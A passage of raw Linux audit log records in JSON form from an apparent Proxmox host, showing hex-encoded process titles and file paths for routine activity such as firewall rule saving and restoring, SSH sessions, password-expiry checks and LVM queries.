cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.120:62653): proctitle=2F7573722F62696E2F656E76002D6900504154483D2F7573722F6C6F63616C2F7362696E3A2F7573722F6C6F63616C2F62696E3A2F7573722F7362696E3A2F7573722F62696E3A2F7362696E3A2F62696E0072756E2D7061727473002D2D6C7362737973696E6974002F6574632F7570646174652D6D6F74642E64"} {"@timestamp":1781964203298,"@rawstring":"node=pve type=PATH msg=audit(1781964203.298:60015): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.120:62652): proctitle=2F7573722F62696E2F656E76002D6900504154483D2F7573722F6C6F63616C2F7362696E3A2F7573722F6C6F63616C2F62696E3A2F7573722F7362696E3A2F7573722F62696E3A2F7362696E3A2F62696E0072756E2D7061727473002D2D6C7362737973696E6974002F6574632F7570646174652D6D6F74642E64"} {"@timestamp":1781964203287,"@rawstring":"node=pve type=PATH msg=audit(1781964203.287:60014): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796119,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.119:62651): proctitle=7368002D63002D2D002F7573722F62696E2F656E76202D6920504154483D2F7573722F6C6F63616C2F7362696E3A2F7573722F6C6F63616C2F62696E3A2F7573722F7362696E3A2F7573722F62696E3A2F7362696E3A2F62696E2072756E2D7061727473202D2D6C7362737973696E6974202F6574632F7570646174652D6D6F"} {"@timestamp":1781964203287,"@rawstring":"node=pve type=PATH msg=audit(1781964203.287:60014): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796119,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.119:62650): proctitle=2F7573722F6C69622F73797374656D642F73797374656D642D6578656375746F72002D2D646573657269616C697A6500313231002D2D6C6F672D6C6576656C00696E666F002D2D6C6F672D746172676574006A6F75726E616C2D6F722D6B6D7367"} {"@timestamp":1781964203287,"@rawstring":"node=pve type=PATH msg=audit(1781964203.287:60013): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796097,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.097:62649): proctitle=2F7573722F6C69622F6F70656E7373682F737368642D73657373696F6E002D44002D52"} {"@timestamp":1781964203287,"@rawstring":"node=pve type=PATH msg=audit(1781964203.287:60012): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796095,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.095:62648): proctitle=2F7573722F6C69622F6F70656E7373682F737368642D73657373696F6E002D44002D52"} {"@timestamp":1781964198276,"@rawstring":"node=pve type=PATH msg=audit(1781964198.276:60011): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.093:62645): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F740063686B657870697279"} {"@timestamp":1781964198276,"@rawstring":"node=pve type=PATH msg=audit(1781964198.276:60011): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.092:62644): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F740063686B657870697279"} {"@timestamp":1781964198276,"@rawstring":"node=pve type=PATH msg=audit(1781964198.276:60010): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.048:62642): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E6F6E756C6C"} {"@timestamp":1781964198276,"@rawstring":"node=pve type=PATH msg=audit(1781964198.276:60009): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.048:62641): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E6F6E756C6C"} {"@timestamp":1781964198268,"@rawstring":"node=pve type=PATH msg=audit(1781964198.268:60008): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795838,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.838:62640): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964198268,"@rawstring":"node=pve type=PATH msg=audit(1781964198.268:60008): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795835,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.835:62639): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964198268,"@rawstring":"node=pve type=PATH msg=audit(1781964198.268:60007): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.834:62638): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964198268,"@rawstring":"node=pve type=PATH msg=audit(1781964198.268:60006): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.834:62637): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964195501,"@rawstring":"node=pve type=PATH msg=audit(1781964195.501:60005): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795830,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.830:62636): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964195501,"@rawstring":"node=pve type=PATH msg=audit(1781964195.501:60005): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795825,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.825:62635): proctitle=\"ip6tables-save\""} {"@timestamp":1781964195497,"@rawstring":"node=pve type=PATH msg=audit(1781964195.497:60004): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795818,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.818:62634): proctitle=\"iptables-save\""} {"@timestamp":1781964195497,"@rawstring":"node=pve type=PATH msg=audit(1781964195.497:60004): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.812:62633): proctitle=\"ip6tables-save\""} {"@timestamp":1781964195496,"@rawstring":"node=pve type=PATH msg=audit(1781964195.496:60003): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795806,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.806:62632): proctitle=\"iptables-save\""} {"@timestamp":1781964195496,"@rawstring":"node=pve type=PATH msg=audit(1781964195.496:60003): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.803:62631): proctitle=\"ebtables-restore\""} {"@timestamp":1781964195496,"@rawstring":"node=pve type=PATH msg=audit(1781964195.496:60002): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.800:62630): proctitle=\"ebtables-restore\""} {"@timestamp":1781964195492,"@rawstring":"node=pve type=PATH msg=audit(1781964195.492:60001): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795795,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.795:62629): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964195492,"@rawstring":"node=pve type=PATH msg=audit(1781964195.492:60001): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.789:62628): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964195492,"@rawstring":"node=pve type=PATH msg=audit(1781964195.492:60001): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795784,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.784:62627): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964195485,"@rawstring":"node=pve type=PATH msg=audit(1781964195.485:60000): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.778:62626): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964195485,"@rawstring":"node=pve type=PATH msg=audit(1781964195.485:60000): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795773,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.773:62625): proctitle=697073657400726573746F7265"} {"@timestamp":1781964195479,"@rawstring":"node=pve type=PATH msg=audit(1781964195.479:59999): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.766:62624): proctitle=\"ip6tables-save\""} {"@timestamp":1781964195479,"@rawstring":"node=pve type=PATH msg=audit(1781964195.479:59999): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795760,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.760:62623): proctitle=\"iptables-save\""} {"@timestamp":1781964195471,"@rawstring":"node=pve type=PATH msg=audit(1781964195.471:59998): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.757:62622): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964195471,"@rawstring":"node=pve type=PATH msg=audit(1781964195.471:59998): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795754,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.754:62621): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964195466,"@rawstring":"node=pve type=PATH msg=audit(1781964195.466:59997): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.752:62620): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964195466,"@rawstring":"node=pve type=PATH msg=audit(1781964195.466:59997): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.752:62619): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964195460,"@rawstring":"node=pve type=PATH msg=audit(1781964195.460:59995): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.748:62618): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964195460,"@rawstring":"node=pve type=PATH msg=audit(1781964195.460:59995): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.741:62617): proctitle=\"ip6tables-save\""} {"@timestamp":1781964195455,"@rawstring":"node=pve type=PATH msg=audit(1781964195.455:59994): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.735:62616): proctitle=\"iptables-save\""} {"@timestamp":1781964195455,"@rawstring":"node=pve type=PATH msg=audit(1781964195.455:59994): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795730,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.730:62615): proctitle=69707365740073617665"} {"@timestamp":1781964195449,"@rawstring":"node=pve type=PATH msg=audit(1781964195.449:59993): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.724:62614): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964195449,"@rawstring":"node=pve type=PATH msg=audit(1781964195.449:59993): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795718,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.718:62613): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964195444,"@rawstring":"node=pve type=PATH msg=audit(1781964195.444:59992): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.675:62612): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195444,"@rawstring":"node=pve type=PATH msg=audit(1781964195.444:59992): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.675:62611): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195438,"@rawstring":"node=pve type=PATH msg=audit(1781964195.438:59991): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.675:62610): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195438,"@rawstring":"node=pve type=PATH msg=audit(1781964195.438:59991): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.667:62609): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195431,"@rawstring":"node=pve type=PATH msg=audit(1781964195.431:59990): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.667:62608): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195431,"@rawstring":"node=pve type=PATH msg=audit(1781964195.431:59990): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964795667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964795.667:62607): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195425,"@rawstring":"node=pve type=PATH msg=audit(1781964195.425:59989): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964794932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964794.932:62606): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964195425,"@rawstring":"node=pve type=PATH msg=audit(1781964195.425:59989): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964794898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964794.898:62605): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964195419,"@rawstring":"node=pve type=PATH msg=audit(1781964195.419:59988): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790659,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964790.659:62604): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195419,"@rawstring":"node=pve type=PATH msg=audit(1781964195.419:59988): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790659,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964790.659:62603): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195415,"@rawstring":"node=pve type=PATH msg=audit(1781964195.415:59987): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790659,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964790.659:62602): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195415,"@rawstring":"node=pve type=PATH msg=audit(1781964195.415:59987): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790652,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964790.652:62601): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195412,"@rawstring":"node=pve type=PATH msg=audit(1781964195.412:59986): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790652,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964790.652:62600): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195412,"@rawstring":"node=pve type=PATH msg=audit(1781964195.412:59986): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964790652,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964790.652:62599): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964195411,"@rawstring":"node=pve type=PATH msg=audit(1781964195.411:59985): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964786581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964786.581:62598): proctitle=2F7573722F6C69622F6F70656E7373682F737368642D61757468002D44002D52"} {"@timestamp":1781964195411,"@rawstring":"node=pve type=PATH msg=audit(1781964195.411:59985): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964786568,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964786.568:62597): proctitle=2F7573722F6C69622F6F70656E7373682F737368642D73657373696F6E002D44002D52"} {"@timestamp":1781964195411,"@rawstring":"node=pve type=PATH msg=audit(1781964195.411:59984): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.706:62596): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964195407,"@rawstring":"node=pve type=PATH msg=audit(1781964195.407:59983): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.703:62595): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964195407,"@rawstring":"node=pve type=PATH msg=audit(1781964195.407:59983): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.703:62594): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964195407,"@rawstring":"node=pve type=PATH msg=audit(1781964195.407:59983): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785703,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964785.703:62593): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964195400,"@rawstring":"node=pve type=PATH msg=audit(1781964195.400:59982): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964785700,"@rawstring":"node=pve 